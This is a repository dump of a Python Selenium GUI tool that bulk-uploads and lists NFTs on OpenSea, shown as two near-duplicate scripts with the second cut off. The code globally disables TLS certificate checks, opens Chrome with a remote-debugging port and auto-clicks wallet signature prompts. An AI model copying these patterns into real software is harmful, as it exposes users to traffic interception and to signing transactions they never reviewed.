├── Old
├── upload.py
├── upload18.py
├── upload_2captcha.py
├── upload_captcha.py
└── upload_fixedSSL.py
├── README.md
├── Save_gui.cloud
├── chrome_extension
├── Readme.md
├── content.js
├── eventPage.js
├── jquery-3.5.0.min.js
├── manifest.json
├── onay-128.png
├── onay-16.png
├── onay-24.png
└── onay-48.png
├── chrome_profile
└── chrome_profile_auto_generate_here.txt
├── chromedriver.exe
├── requirements.txt
├── src
├── images
│ ├── 1.png
│ └── fortune-cat-neko.png
└── json
│ └── 1.json
└── upload_2captcha_V2.py
/Old/upload.py:
--------------------------------------------------------------------------------
1 | import tkinter
2 | import subprocess
3 | from tkinter import *
4 | from tkinter import filedialog
5 | import tkinter as tk
6 | from tkinter import ttk
7 | from tkinter import messagebox
8 | import tkinter.font as font
9 | from turtle import width
10 | from PIL import ImageTk, Image
11 | import urllib.request
12 | from io import BytesIO
13 | import os
14 | import io
15 | import sys
16 | import pickle
17 | import time
18 | from decimal import *
19 | import webbrowser
20 | # from click import command
21 | from selenium import webdriver
22 | from selenium.webdriver.common.by import By
23 | from selenium.webdriver.support.wait import WebDriverWait
24 | from selenium.webdriver.chrome.options import Options
25 | from selenium.webdriver.chrome.service import Service
26 | from selenium.webdriver.support import expected_conditions as ExpectedConditions
27 | from selenium.webdriver.support.ui import Select
28 | from selenium.webdriver.common.keys import Keys
29 | from datetime import timedelta
30 | from dateutil.relativedelta import relativedelta
31 | from datetime import timedelta, date
32 | import locale
33 | import json
34 | import ssl
35 |
36 | ssl._create_default_https_context = ssl._create_unverified_context
37 |
38 | #check local date format
39 | locale.setlocale(locale.LC_ALL, '')
40 | lastdate = date(date.today().year, 12, 31)
41 |
42 | root = Tk()
43 | root.geometry('750x850')
44 | root.resizable(False, False)
45 | root.title("NFTs Upload to OpenSea v1.8.2")
46 |
47 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0]
48 | main_directory = os.path.join(sys.path[0])
49 |
50 |
51 | def supportURL():
52 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app")
53 |
54 | def coffeeURL():
55 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks")
56 |
57 | class WebImage:
58 | def __init__(self, url):
59 | with urllib.request.urlopen(url) as u:
60 | raw_data = u.read()
61 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data))
62 | image = Image.open(io.BytesIO(raw_data))
63 | self.image = ImageTk.PhotoImage(image)
64 |
65 | def get(self):
66 | return self.image
67 | imageurl = "https://www.infotrex.net/opensea/header.png"
68 | img = WebImage(imageurl).get()
69 | imagelab = tk.Label(root, image=img)
70 | imagelab.grid(row=0, columnspan=2)
71 | imagelab.bind("", lambda e:supportURL())
72 |
73 | is_polygon = BooleanVar()
74 | is_polygon.set(False)
75 |
76 | is_listing = BooleanVar()
77 | is_listing.set(True)
78 |
79 | is_numformat = BooleanVar()
80 | is_numformat.set(False)
81 |
82 |
83 | def save_duration():
84 | duration_value.set(value=duration_value.get())
85 | # print(duration_value.get())
86 |
87 | def open_chrome_profile():
88 | subprocess.Popen(
89 | [
90 | "start",
91 | "chrome",
92 | "--remote-debugging-port=8989",
93 | "--user-data-dir=" + main_directory + "/chrome_profile",
94 | ],
95 | shell=True,
96 | )
97 |
98 |
99 | def save_file_path():
100 | return os.path.join(sys.path[0], "Save_gui.cloud")
101 |
102 |
103 | # ask for directory on clicking button, changes button name.
104 | def upload_folder_input():
105 | global upload_path
106 | upload_path = filedialog.askdirectory()
107 | Name_change_img_folder_button(upload_path)
108 |
109 | def Name_change_img_folder_button(upload_folder_input):
110 | upload_folder_input_button["text"] = upload_folder_input
111 |
112 | def is_numeric(val):
113 | if str(val).isdigit():
114 | return True
115 | elif str(val).replace('.','',1).isdigit():
116 | return True
117 | else:
118 | return False
119 |
120 |
121 | class InputField:
122 | def __init__(self, label, row_io, column_io, pos, master=root):
123 | self.master = master
124 | self.input_field = Entry(self.master, width=60)
125 | self.input_field.grid(ipady=3)
126 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 )
127 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2)
128 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2)
129 |
130 | try:
131 | with open(save_file_path(), "rb") as infile:
132 | new_dict = pickle.load(infile)
133 | self.insert_text(new_dict[pos])
134 | except FileNotFoundError:
135 | pass
136 |
137 | def insert_text(self, text):
138 | self.input_field.delete(0, "end")
139 | self.input_field.insert(0, text)
140 |
141 | def save_inputs(self, pos):
142 | #messagebox.showwarning("showwarning", "Warning")
143 | input_save_list.insert(pos, self.input_field.get())
144 | #print(self.input_field.get())
145 | with open(save_file_path(), "wb") as outfile:
146 | pickle.dump(input_save_list, outfile)
147 |
148 | def validate_inputs(self, maxlen, type, message):
149 |
150 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen):
151 | messagebox.showwarning("showwarning", message)
152 |
153 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen):
154 | messagebox.showwarning("showwarning", message)
155 |
156 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen):
157 | messagebox.showwarning("showwarning", message)
158 |
159 | else:
160 | return True
161 |
162 |
163 | ###input objects###
164 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1)
165 | start_num_input = InputField("Start Number:", 3, 0, 2)
166 | end_num_input = InputField("End Number:", 4, 0, 3)
167 | price = InputField("Default Price:", 5, 0, 4)
168 | title = InputField("Title:", 6, 0, 5)
169 | description = InputField("Description:", 7, 0, 6)
170 | file_format = InputField("NFT Image Format:", 8, 0, 7)
171 | external_link = InputField("External link:", 9, 0, 8)
172 |
173 |
174 | def save():
175 |
176 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())):
177 | #messagebox.showwarning("showwarning", "End number should greater than start number!")
178 | print ("true")
179 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 :
180 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
181 | print ("true")
182 | else:
183 | collection_link_input.validate_inputs(200, 2, 'Collection link required')
184 | price.validate_inputs(100, 1, 'Price required')
185 | title.validate_inputs(100, 2, 'title required')
186 | description.validate_inputs(200, 2, 'description required')
187 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg')
188 | external_link.validate_inputs(100, 3, '')
189 |
190 |
191 | input_save_list.insert(0, upload_path)
192 | collection_link_input.save_inputs(1)
193 | start_num_input.save_inputs(2)
194 | end_num_input.save_inputs(3)
195 | price.save_inputs(4)
196 | title.save_inputs(5)
197 | description.save_inputs(6)
198 | file_format.save_inputs(7)
199 | external_link.save_inputs(8)
200 |
201 |
202 |
203 |
204 | def main_program_loop():
205 |
206 | if len(end_num_input.input_field.get()) > 5 :
207 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
208 | sys.exit()
209 |
210 | project_path = main_directory
211 | file_path = upload_path
212 | collection_link = collection_link_input.input_field.get()
213 | start_num = int(start_num_input.input_field.get())
214 | end_num = int(end_num_input.input_field.get())
215 | loop_price = float(price.input_field.get())
216 | loop_title = title.input_field.get()
217 | loop_file_format = file_format.input_field.get()
218 | loop_external_link = str(external_link.input_field.get())
219 | loop_description = description.input_field.get()
220 |
221 | ##chromeoptions
222 | opt = Options()
223 | opt.add_argument('--headless')
224 | opt.add_experimental_option("debuggerAddress", "localhost:8989")
225 | # driver = webdriver.Chrome(
226 | # executable_path=project_path + "/chromedriver.exe",
227 | # chrome_options=opt,
228 | # )
229 | driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt, )
230 | wait = WebDriverWait(driver, 60)
231 |
232 | ###wait for methods
233 | def wait_css_selector(code):
234 | wait.until(
235 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code))
236 | )
237 |
238 | def wait_css_selectorTest(code):
239 | wait.until(
240 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code))
241 | )
242 |
243 | def wait_xpath(code):
244 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code)))
245 |
246 |
247 | while end_num >= start_num:
248 | if is_numformat.get():
249 | start_numformat = f"{ start_num:04}"
250 | else:
251 | start_numformat = f"{ start_num:01}"
252 |
253 | print("Start creating NFT " + loop_title + str(start_numformat))
254 | print('number ', start_numformat)
255 | driver.get(collection_link)
256 |
257 |
258 | wait_xpath('//*[@id="media"]')
259 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]')
260 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here
261 | imageUpload.send_keys(imagePath)
262 | time.sleep(0.8)
263 |
264 | name = driver.find_element(By.XPATH, '//*[@id="name"]')
265 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#"
266 | time.sleep(0.8)
267 |
268 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]')
269 | ext_link.send_keys(loop_external_link)
270 | time.sleep(0.8)
271 |
272 | desc = driver.find_element(By.XPATH, '//*[@id="description"]')
273 | desc.send_keys(loop_description)
274 | time.sleep(0.8)
275 |
276 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json"
277 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK):
278 |
279 | #print(str(jsonMetaData))
280 | wait_css_selector("button[aria-label='Add properties']")
281 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']")
282 | driver.execute_script("arguments[0].click();", properties)
283 | time.sleep(0.8)
284 |
285 | # checks if file exists
286 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read())
287 |
288 | if "attributes" in jsonData:
289 | jsonMetaData = jsonData['attributes']
290 |
291 | for key in jsonMetaData:
292 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
293 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
294 | #print(str(key['trait_type']))
295 | #print(str(key['value']))
296 | input1.send_keys(str(key['trait_type']))
297 | input2.send_keys(str(key['value']))
298 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
299 | driver.execute_script("arguments[0].click();", addmore_button)
300 | time.sleep(0.9)
301 |
302 | try:
303 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
304 | driver.execute_script("arguments[0].click();", save_button)
305 | time.sleep(0.8)
306 | except:
307 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
308 | time.sleep(0.8)
309 |
310 | elif "properties" in jsonData:
311 | jsonMetaData = jsonData['properties']
312 |
313 | for key in jsonMetaData:
314 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
315 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
316 | #print(str(key['type']))
317 | #print(str(key['name']))
318 | input1.send_keys(str(key['type']))
319 | input2.send_keys(str(key['name']))
320 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
321 | driver.execute_script("arguments[0].click();", addmore_button)
322 | time.sleep(0.9)
323 |
324 | try:
325 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
326 | driver.execute_script("arguments[0].click();", save_button)
327 | time.sleep(0.8)
328 | except:
329 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
330 | time.sleep(0.8)
331 |
332 | else:
333 | print("keys not found!")
334 |
335 | # Select Polygon blockchain if applicable
336 | #if is_polygon.get():
337 |
338 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button')
339 | driver.execute_script("arguments[0].click();", create)
340 | time.sleep(0.8)
341 |
342 | try:
343 | wait_xpath('/html/body/div[5]/div/div/div/div[2]/button/i')
344 | cross = driver.find_element(By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i')
345 | cross.click()
346 | time.sleep(0.8)
347 | except:
348 | wait_xpath('/html/body/div[6]/div/div/div/div[2]/button/i')
349 | cross = driver.find_element(By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i')
350 | cross.click()
351 | time.sleep(0.8)
352 | # wait_css_selector("i[aria-label='Close']")
353 | # cross = driver.find_element_by_css_selector("i[aria-label='Close']")
354 | # cross.click()
355 | # time.sleep(0.8)
356 |
357 |
358 | main_page = driver.current_window_handle
359 |
360 | if is_listing.get():
361 |
362 | wait_xpath('//a[text()="Sell"]')
363 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]')
364 | driver.execute_script("arguments[0].click();", sell)
365 |
366 | wait_css_selector("input[placeholder='Amount']")
367 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']")
368 | amount.send_keys(str(loop_price))
369 | time.sleep(1)
370 |
371 | #duration
372 | duration_date = duration_value.get()
373 | #print(duration_date)
374 | # time.sleep(60)
375 | if duration_date == 1 :
376 | endday = (date.today() + timedelta(days=1)).day
377 | endmonth = (date.today() + timedelta(days=1)).month
378 | #print(endday, endmonth)
379 | if duration_date == 3 :
380 | endday = (date.today() + timedelta(days=3)).day
381 | endmonth = (date.today() + timedelta(days=3)).month
382 | #print(endday, endmonth)
383 | if duration_date == 7 :
384 | endday = (date.today() + timedelta(days=7)).day
385 | endmonth = (date.today() + timedelta(days=7)).month
386 | #print(endday, endmonth)
387 | if duration_date == 30:
388 | endday = (date.today() + relativedelta(months=+1)).day
389 | endmonth = (date.today() + relativedelta(months=+1)).month
390 | #print(endday, endmonth)
391 | if duration_date == 60:
392 | endday = (date.today() + relativedelta(months=+2)).day
393 | endmonth = (date.today() + relativedelta(months=+2)).month
394 | #print(endday, endmonth)
395 | if duration_date == 90:
396 | endday = (date.today() + relativedelta(months=+3)).day
397 | endmonth = (date.today() + relativedelta(months=+3)).month
398 | #print(endday, endmonth)
399 | if duration_date == 120:
400 | endday = (date.today() + relativedelta(months=+4)).day
401 | endmonth = (date.today() + relativedelta(months=+4)).month
402 | #print(endday, endmonth)
403 | if duration_date == 150:
404 | endday = (date.today() + relativedelta(months=+5)).day
405 | endmonth = (date.today() + relativedelta(months=+5)).month
406 | #print(endday, endmonth)
407 | if duration_date == 180:
408 | endday = (date.today() + relativedelta(months=+6)).day
409 | endmonth = (date.today() + relativedelta(months=+6)).month
410 | #print(endday, endmonth)
411 |
412 | #if duration_date != 30:
413 | amount.send_keys(Keys.TAB)
414 | time.sleep(0.8)
415 | # wait_xpath('//*[@id="duration"]')
416 | # driver.find_element_by_xpath('//*[@id="duration"]').click()
417 |
418 | wait_xpath('//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input')
419 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input')
420 | driver.execute_script("arguments[0].click();", select_durationday)
421 | time.sleep(0.8)
422 |
423 | if lastdate.strftime('%x')[:2] == "12":
424 | #print("is month first")
425 | select_durationday.send_keys(str(endmonth))
426 | select_durationday.send_keys(str(endday))
427 | select_durationday.send_keys(Keys.ENTER)
428 | time.sleep(1)
429 | elif lastdate.strftime('%x')[:2] == "31":
430 | #print("is day first")
431 | select_durationday.send_keys(str(endday))
432 | select_durationday.send_keys(str(endmonth))
433 | select_durationday.send_keys(Keys.ENTER)
434 | time.sleep(1)
435 | else:
436 | print("invalid date format: change date format to MM/DD/YYYY or DD/MM/YYYY")
437 |
438 | wait_css_selector("button[type='submit']")
439 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
440 | driver.execute_script("arguments[0].click();", listing)
441 | time.sleep(10)
442 |
443 | if is_polygon.get():
444 | driver.find_element(By.XPATH, '//button[text()="Sign"]').click()
445 | time.sleep(1)
446 |
447 | for handle in driver.window_handles:
448 | if handle != main_page:
449 | login_page = handle
450 | #break
451 |
452 | driver.switch_to.window(login_page)
453 |
454 | if is_polygon.get():
455 | print("polygon")
456 | wait_css_selector("button[data-testid='request-signature__sign']")
457 | sign = driver.find_element(By.CSS_SELECTOR, "button[data-testid='request-signature__sign']")
458 | driver.execute_script("arguments[0].click();", sign)
459 | time.sleep(1)
460 | else:
461 | print("eth")
462 | try:
463 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
464 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
465 | driver.execute_script("arguments[0].click();", scrollsign)
466 | time.sleep(1)
467 | except:
468 | driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']").click()
469 | time.sleep(1)
470 |
471 | try:
472 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
473 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
474 | time.sleep(1)
475 | except:
476 | wait_xpath('//button[text()="Sign"]')
477 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
478 | driver.execute_script("arguments[0].click();", metasign)
479 | time.sleep(1)
480 |
481 |
482 | #change control to main page
483 | driver.switch_to.window(main_page)
484 | time.sleep(0.7)
485 |
486 | start_num = start_num + 1
487 | print('NFT creation completed!')
488 |
489 | driver.get("https://www.opensea.io")
490 |
491 |
492 |
493 | duration_value = IntVar()
494 | duration_value.set(value=180)
495 |
496 | duration_date = Frame(root, padx=0, pady=1)
497 | duration_date.grid(row=10, column=1, sticky=(N, W, E, S))
498 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=8,).grid(row=0, column=1)
499 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=8, ).grid(row=0, column=2)
500 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=8,).grid(row=0, column=3)
501 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=8,).grid(row=0, column=4)
502 | tk.Radiobutton(duration_date, text="60 days", variable=duration_value, value=60, anchor="w", command=save_duration, width=8,).grid(row=0, column=5)
503 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=8,).grid(row=1, columnspan=1, column=1)
504 | tk.Radiobutton(duration_date, text="120 days", variable=duration_value, value=120, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=2)
505 | tk.Radiobutton(duration_date, text="150 days", variable=duration_value, value=150, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=3)
506 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=4)
507 | duration_date.label = Label(root, text="Duration:", anchor="w", width=20, height=1 )
508 | duration_date.label.grid(row=10, column=0, padx=12, pady=2)
509 |
510 |
511 | # isnumFormat = tkinter.Checkbutton(root, text='Number format 0001 ~ 99999', var=is_numformat, width=49, anchor="w")
512 | # isnumFormat.grid(row=18, column=1)
513 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w")
514 | isCreate.grid(row=19, column=1)
515 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w")
516 | isPolygon.grid(row=20, column=1)
517 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input)
518 | upload_folder_input_button.grid(row=21, column=1, padx=2)
519 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile)
520 | open_browser.grid(row=23, column=1, pady=2)
521 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save)
522 | button_save.grid(row=22, column=1, pady=2)
523 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop)
524 | button_start['font'] = font.Font(size=10, weight='bold')
525 | button_start.grid(row=25, column=1, pady=2)
526 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE )
527 | footer.grid(row=31, columnspan=2, padx=31, pady=31)
528 |
529 | try:
530 | with open(save_file_path(), "rb") as infile:
531 | new_dict = pickle.load(infile)
532 | global upload_path
533 | Name_change_img_folder_button(new_dict[0])
534 | upload_path = new_dict[0]
535 | except FileNotFoundError:
536 | pass
537 | #####BUTTON ZONE END#######
538 | root.mainloop()
539 |
--------------------------------------------------------------------------------
/Old/upload18.py:
--------------------------------------------------------------------------------
1 | import tkinter
2 | import subprocess
3 | from tkinter import *
4 | from tkinter import filedialog
5 | import tkinter as tk
6 | from tkinter import ttk
7 | from tkinter import messagebox
8 | import tkinter.font as font
9 | from turtle import width
10 | from PIL import ImageTk, Image
11 | import urllib.request
12 | from io import BytesIO
13 | import os
14 | import io
15 | import sys
16 | import pickle
17 | import time
18 | from decimal import *
19 | import webbrowser
20 | # from click import command
21 | from selenium import webdriver
22 | from selenium.webdriver.common.by import By
23 | from selenium.webdriver.support.wait import WebDriverWait
24 | from selenium.webdriver.chrome.options import Options
25 | from selenium.webdriver.chrome.service import Service
26 | from selenium.webdriver.support import expected_conditions as ExpectedConditions
27 | from selenium.webdriver.support.ui import Select
28 | from selenium.webdriver.common.keys import Keys
29 | from datetime import timedelta
30 | from dateutil.relativedelta import relativedelta
31 | from datetime import timedelta, date
32 | import locale
33 | import json
34 | import ssl
35 |
36 | ssl._create_default_https_context = ssl._create_unverified_context
37 |
38 | #check local date format
39 | locale.setlocale(locale.LC_ALL, '')
40 | lastdate = date(date.today().year, 12, 31)
41 |
42 | root = Tk()
43 | root.geometry('750x850')
44 | root.resizable(False, False)
45 | root.title("NFTs Upload to OpenSea v1.8.2")
46 |
47 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0]
48 | main_directory = os.path.join(sys.path[0])
49 |
50 |
51 | def supportURL():
52 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app")
53 |
54 | def coffeeURL():
55 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks")
56 |
57 | class WebImage:
58 | def __init__(self, url):
59 | with urllib.request.urlopen(url) as u:
60 | raw_data = u.read()
61 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data))
62 | image = Image.open(io.BytesIO(raw_data))
63 | self.image = ImageTk.PhotoImage(image)
64 |
65 | def get(self):
66 | return self.image
67 | imageurl = "https://www.infotrex.net/opensea/header.png"
68 | img = WebImage(imageurl).get()
69 | imagelab = tk.Label(root, image=img)
70 | imagelab.grid(row=0, columnspan=2)
71 | imagelab.bind("", lambda e:supportURL())
72 |
73 | is_polygon = BooleanVar()
74 | is_polygon.set(False)
75 |
76 | is_listing = BooleanVar()
77 | is_listing.set(True)
78 |
79 | is_numformat = BooleanVar()
80 | is_numformat.set(False)
81 |
82 |
83 | def save_duration():
84 | duration_value.set(value=duration_value.get())
85 | # print(duration_value.get())
86 |
87 | def open_chrome_profile():
88 | subprocess.Popen(
89 | [
90 | "start",
91 | "chrome",
92 | "--remote-debugging-port=8989",
93 | "--user-data-dir=" + main_directory + "/chrome_profile",
94 | ],
95 | shell=True,
96 | )
97 |
98 |
99 | def save_file_path():
100 | return os.path.join(sys.path[0], "Save_gui.cloud")
101 |
102 |
103 | # ask for directory on clicking button, changes button name.
104 | def upload_folder_input():
105 | global upload_path
106 | upload_path = filedialog.askdirectory()
107 | Name_change_img_folder_button(upload_path)
108 |
109 | def Name_change_img_folder_button(upload_folder_input):
110 | upload_folder_input_button["text"] = upload_folder_input
111 |
112 | def is_numeric(val):
113 | if str(val).isdigit():
114 | return True
115 | elif str(val).replace('.','',1).isdigit():
116 | return True
117 | else:
118 | return False
119 |
120 |
121 | class InputField:
122 | def __init__(self, label, row_io, column_io, pos, master=root):
123 | self.master = master
124 | self.input_field = Entry(self.master, width=60)
125 | self.input_field.grid(ipady=3)
126 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 )
127 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2)
128 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2)
129 |
130 | try:
131 | with open(save_file_path(), "rb") as infile:
132 | new_dict = pickle.load(infile)
133 | self.insert_text(new_dict[pos])
134 | except FileNotFoundError:
135 | pass
136 |
137 | def insert_text(self, text):
138 | self.input_field.delete(0, "end")
139 | self.input_field.insert(0, text)
140 |
141 | def save_inputs(self, pos):
142 | #messagebox.showwarning("showwarning", "Warning")
143 | input_save_list.insert(pos, self.input_field.get())
144 | #print(self.input_field.get())
145 | with open(save_file_path(), "wb") as outfile:
146 | pickle.dump(input_save_list, outfile)
147 |
148 | def validate_inputs(self, maxlen, type, message):
149 |
150 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen):
151 | messagebox.showwarning("showwarning", message)
152 |
153 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen):
154 | messagebox.showwarning("showwarning", message)
155 |
156 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen):
157 | messagebox.showwarning("showwarning", message)
158 |
159 | else:
160 | return True
161 |
162 |
163 | ###input objects###
164 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1)
165 | start_num_input = InputField("Start Number:", 3, 0, 2)
166 | end_num_input = InputField("End Number:", 4, 0, 3)
167 | price = InputField("Default Price:", 5, 0, 4)
168 | title = InputField("Title:", 6, 0, 5)
169 | description = InputField("Description:", 7, 0, 6)
170 | file_format = InputField("NFT Image Format:", 8, 0, 7)
171 | external_link = InputField("External link:", 9, 0, 8)
172 |
173 |
174 | def save():
175 |
176 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())):
177 | #messagebox.showwarning("showwarning", "End number should greater than start number!")
178 | print ("true")
179 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 :
180 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
181 | print ("true")
182 | else:
183 | collection_link_input.validate_inputs(200, 2, 'Collection link required')
184 | price.validate_inputs(100, 1, 'Price required')
185 | title.validate_inputs(100, 2, 'title required')
186 | description.validate_inputs(200, 2, 'description required')
187 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg')
188 | external_link.validate_inputs(100, 3, '')
189 |
190 |
191 | input_save_list.insert(0, upload_path)
192 | collection_link_input.save_inputs(1)
193 | start_num_input.save_inputs(2)
194 | end_num_input.save_inputs(3)
195 | price.save_inputs(4)
196 | title.save_inputs(5)
197 | description.save_inputs(6)
198 | file_format.save_inputs(7)
199 | external_link.save_inputs(8)
200 |
201 |
202 |
203 |
204 | def main_program_loop():
205 |
206 | if len(end_num_input.input_field.get()) > 5 :
207 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
208 | sys.exit()
209 |
210 | project_path = main_directory
211 | file_path = upload_path
212 | collection_link = collection_link_input.input_field.get()
213 | start_num = int(start_num_input.input_field.get())
214 | end_num = int(end_num_input.input_field.get())
215 | loop_price = float(price.input_field.get())
216 | loop_title = title.input_field.get()
217 | loop_file_format = file_format.input_field.get()
218 | loop_external_link = str(external_link.input_field.get())
219 | loop_description = description.input_field.get()
220 |
221 | ##chromeoptions
222 | opt = Options()
223 | opt.add_argument('--headless')
224 | opt.add_experimental_option("debuggerAddress", "localhost:8989")
225 | driver = webdriver.Chrome(
226 | executable_path=project_path + "/chromedriver.exe",
227 | chrome_options=opt,
228 | )
229 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt, )
230 | wait = WebDriverWait(driver, 60)
231 |
232 | ###wait for methods
233 | def wait_css_selector(code):
234 | wait.until(
235 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code))
236 | )
237 |
238 | def wait_css_selectorTest(code):
239 | wait.until(
240 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code))
241 | )
242 |
243 | def wait_xpath(code):
244 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code)))
245 |
246 |
247 | while end_num >= start_num:
248 | if is_numformat.get():
249 | start_numformat = f"{ start_num:04}"
250 | else:
251 | start_numformat = f"{ start_num:01}"
252 |
253 | print("Start creating NFT " + loop_title + str(start_numformat))
254 | print('number ', start_numformat)
255 | driver.get(collection_link)
256 |
257 |
258 | wait_xpath('//*[@id="media"]')
259 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]')
260 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here
261 | imageUpload.send_keys(imagePath)
262 | time.sleep(0.8)
263 |
264 | name = driver.find_element(By.XPATH, '//*[@id="name"]')
265 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#"
266 | time.sleep(0.8)
267 |
268 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]')
269 | ext_link.send_keys(loop_external_link)
270 | time.sleep(0.8)
271 |
272 | desc = driver.find_element(By.XPATH, '//*[@id="description"]')
273 | desc.send_keys(loop_description)
274 | time.sleep(0.8)
275 |
276 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json"
277 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK):
278 |
279 | #print(str(jsonMetaData))
280 | wait_css_selector("button[aria-label='Add properties']")
